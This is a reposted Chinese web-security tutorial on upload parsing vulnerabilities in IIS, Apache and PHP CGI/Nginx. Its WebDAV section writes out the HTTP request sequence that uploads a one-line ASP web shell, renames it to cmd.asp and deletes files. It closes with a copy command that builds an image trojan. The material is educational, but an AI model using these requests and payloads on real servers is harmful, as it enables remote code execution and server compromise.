[web安全] 上传漏洞之解析漏洞

  • A+
所属分类:安全文章

一、IIS解析漏洞
1.当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。
2.当文件为*.asp;1.jpg时,IIS 6.0同样会以ASP脚本来执行。
微软并不认为这是一个漏洞,也一直没有推出IIS 6.0的补丁,所以这两个“漏洞”至今还存在。
3.WebDav漏洞(对IIS写权限的利用)

第一步,通过OPTIONS探测服务器所支持的HTTP方法

[plain] view plain copy

  1. 请求:  

  2. OPTIONS / HTTP/1.1  

  3. Host:www.example.com  

  4.   

  5.   

  6. 响应:  

  7. 。。。  

  8. Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH  

  9. 。。。  

第二步,通过PUT方法向服务器上传脚本文件

[plain] view plain copy

  1. 请求:  

  2. PUT /a.txt HTTP/1.1  

  3. Host:www.example.com  

  4. Content-Length:30  

  5.   

  6. <%eval request("chopper")%>  

第三步,通过Move或Copy方法改名

[plain] view plain copy

  1. 请求:  

  2. COPY /a.txt HTTP/1.1  

  3. Host:www.example.com  

  4. Destination:http://www.example.com/cmd.asp  

第四步,使用DELETE方法,攻击者还可以删除服务器上的任意文件

[plain] view plain copy

  1. 请求:  

  2. DELETE /a.txt HTTP/1.1  

  3. Host:www.example.com  


二、Apache解析漏洞 在Apache 1.x和Apache 2.x中1.php.rar会被当作php文件执行。
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后面向前解析,直到碰到认识的扩展名为止,如果都不认识,则会暴露其源代码。

这种方法可以绕过基于黑名单的检查。

Apache认识的扩展名保存在安装目录下"/conf/mime.types"文件中。下图为本机的情况,文件在路径C:wampbinapacheApache2.2.21confmime.types

[web安全] 上传漏洞之解析漏洞

三、PHP CGI解析漏洞
在某些使用Nginx的网站中,访问http://www.xxser.com/1.jpg/1.php,此时的1.jpg会被当作PHP脚本来解析,此时1.php是不存在的。
这就意味着攻击者可以上传合法的“图片”(图片木马),然后在URL后面加上“/xxx.php”,就可以获得网站的WebShell。

这不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也经常会出现这样的解析漏洞。

这个解析漏洞其实是PHP CGI的漏洞,在PHP的配置文件中有一个关键的选项cgi.fix_pathinfo在本机中位于C:wampbinphpphp5.3.10php.ini,默认是开启的,当URL中有不存在的文件,PHP就会向前递归解析。

[web安全] 上传漏洞之解析漏洞


附:用copy命令制作图片木马:copy 1.jpg/b+1.php/a 2.php (其中/b表示二进制文件,/a表示ASCII码文件)


转自:http://blog.csdn.net/hitwangpeng/article/details/46913957

本文始发于微信公众号(LemonSec):[web安全] 上传漏洞之解析漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: